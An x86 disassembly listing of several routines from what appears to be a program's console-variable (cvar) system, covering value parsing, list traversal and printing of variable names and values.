		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B0B0	proc near		; CODE XREF: sub_4019F1j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B0B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401749
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401BF4
sub_40B0B0	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 3
		mov	dword ptr [esi], offset	off_43E020
		call	sub_401BEF
		mov	ecx, [esp+10h]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B170	proc near		; CODE XREF: sub_401AE6j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B170
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_43E020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401BEF
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_401555
sub_40B170	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B210	proc near		; CODE XREF: sub_4017EEj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401BEF
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_40B210	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+24h]
		push	3
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+3Ch]
		push	3
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		lea	ecx, [esp+1Ch]
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B390	proc near		; CODE XREF: sub_40180Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401FBE
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401FBE
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401F32
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401FBE
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_401906
sub_40B390	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn	1Ch
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B430	proc near		; CODE XREF: sub_401B5Ej

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_40B430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_401861
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_401861
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_401861
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_40180C
sub_40B430	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+5Ch], 1
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	byte ptr [esp+5Ch], 0
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+5Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+54h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B520	proc near		; CODE XREF: sub_4019CEj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_40153C
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_401451
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401C71
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jz	short loc_40B5A1
		mov	edi, [esp+10h+arg_0]


loc_40B566:				; CODE XREF: sub_40B520+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4021AD
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B5AB
		call	sub_40133E
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401C71
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jnz	short loc_40B566


loc_40B5A1:				; CODE XREF: sub_40B520+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B5AB:				; CODE XREF: sub_40B520+60j
		call	sub_401F5A
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B520	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B5F0:				; CODE XREF: ___:00401456j
		push	0FFFFFFFFh
		push	offset loc_438BF8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_401861
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4019CE
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B680	proc near		; CODE XREF: sub_401596j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B6D1
		mov	byte ptr [esi+19h], 1


loc_40B6D1:				; CODE XREF: sub_40B680+4Bj
		pop	esi
		retn	8
sub_40B680	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B700	proc near		; CODE XREF: sub_401F32j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_4015D7
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	near ptr 77C1CF90h
		nop
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B755
		mov	byte ptr [esi+19h], 1


loc_40B755:				; CODE XREF: sub_40B700+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B700	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B790:				; CODE XREF: ___:00401D43j
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	offset aF	; "%f"
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		fld	dword ptr [esp+10h]
		fcomp	flt_43E024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B7E1
		mov	byte ptr [esi+19h], 1


loc_40B7E1:				; CODE XREF: ___:0040B7DBj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B810:				; CODE XREF: ___:00401C94j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B840
		mov	esi, [esp+0Ch]
		push	offset aTrue	; "true"
		mov	ecx, esi
		call	sub_4015D7
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B840:				; CODE XREF: ___:0040B818j
		mov	esi, [esp+0Ch]
		push	offset aFalse	; "false"
		mov	ecx, esi
		call	sub_4015D7
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B880:				; CODE XREF: ___:00401D6Bj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	offset dword_4437F4
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B8B0
		mov	byte ptr [esi+19h], 1


loc_40B8B0:				; CODE XREF: ___:0040B8AAj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B8D0:				; CODE XREF: ___:loc_401ACDj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_438C30
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BA12
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aCvar	; "(cvar)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+6Ch]
		call	sub_40153C
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401C71
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jz	loc_40BA0B


loc_40B976:				; CODE XREF: ___:0040BA05j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401F5A
		mov	ecx, [eax]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4017E4
		push	eax
		push	edi
		push	offset aDSSS	; "[%d]	\"%s\" = \"%s\"	(\"%s\")"
		mov	ecx, ebx
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 24h
		push	5DCh
		call	near ptr 2811E0Eh
		nop
		lea	ecx, [esp+6Ch]
		call	sub_40133E
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401C71
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jnz	loc_40B976


loc_40BA0B:				; CODE XREF: ___:0040B970j
		mov	al, 1
		jmp	loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BA12:				; CODE XREF: ___:0040B907j
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40BAA5
		push	offset asc_443600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4019CE
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BB98
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017E4
		push	eax
		push	offset aSS_5	; "%s =	\"%s\""
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch
		jmp	loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BAA5:				; CODE XREF: ___:0040BA24j
		lea	ecx, [ebp+60h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BB98
		push	offset asc_443600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4019CE
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BB98
		push	edi
		lea	ecx, [esp+18h]
		call	sub_4014C9
		mov	ebx, 2
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401F32
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_401226
		lea	ecx, [esp+14h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017E4
		push	eax
		push	offset aSSWasS	; "%s =	\"%s\" [was \"%s\"]"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BB98:				; CODE XREF: ___:0040BA60j
					; ___:0040BAB7j ...
		xor	al, al


loc_40BB9A:				; CODE XREF: ___:0040BA0Dj
					; ___:0040BAA0j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BC70	proc near		; CODE XREF: sub_401BF4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4021CB
sub_40BC70	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BCB0	proc near		; CODE XREF: sub_401555j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C71
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401FCD
sub_40BCB0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BD20	proc near		; CODE XREF: sub_401451j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_4020F9
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	esi
		retn	4
sub_40BD20	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BD60	proc near		; CODE XREF: sub_401C71j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	esi
		retn	4
sub_40BD60	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD90	proc near		; CODE XREF: sub_401906j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C71
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401C49
sub_40BD90	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BDD0	proc near		; CODE XREF: sub_401BEFj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C71
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		pop	esi
		add	esp, 0Ch
		retn
sub_40BDD0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE20	proc near		; CODE XREF: sub_40153Cj
		push	esi
		mov	esi, ecx
		call	sub_40213A
		mov	eax, esi
		pop	esi
		retn
sub_40BE20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE40	proc near		; CODE XREF: sub_401F5Aj
		mov	eax, [ecx]
		push	eax
		call	sub_401839
		add	esp, 4
		retn
sub_40BE40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE60	proc near		; CODE XREF: sub_40133Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020F9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40BE60	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE90	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401CE9
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40BE90	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BEC0	proc near		; CODE XREF: sub_401C49j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4016A4
		mov	edi, eax
		push	edi
		call	sub_40213F
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4021CB
sub_40BEC0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_40213F
		push	edi
		mov	[eax], ebx
		call	sub_40213F
		mov	edi, [eax]
		push	edi
		call	sub_40213F
		mov	ecx, [eax]
		push	ecx
		call	sub_4020F9
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401839
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401F14
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF60	proc near		; CODE XREF: sub_40124Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jz	short loc_40BFBA


loc_40BF78:				; CODE XREF: sub_40BF60+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401B86
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40106E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jnz	short loc_40BF78
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40BFBA:				; CODE XREF: sub_40BF60+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40BF60	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BFF0	proc near		; CODE XREF: sub_4021CBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_40155F
sub_40BFF0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40C005
		mov	edi, esi


loc_40C005:				; CODE XREF: ___:0040C001j
		push	esi
		call	sub_4020F9
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40C01A
		mov	edi, esi


loc_40C01A:				; CODE XREF: ___:0040C016j
		push	esi
		call	sub_40213F
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

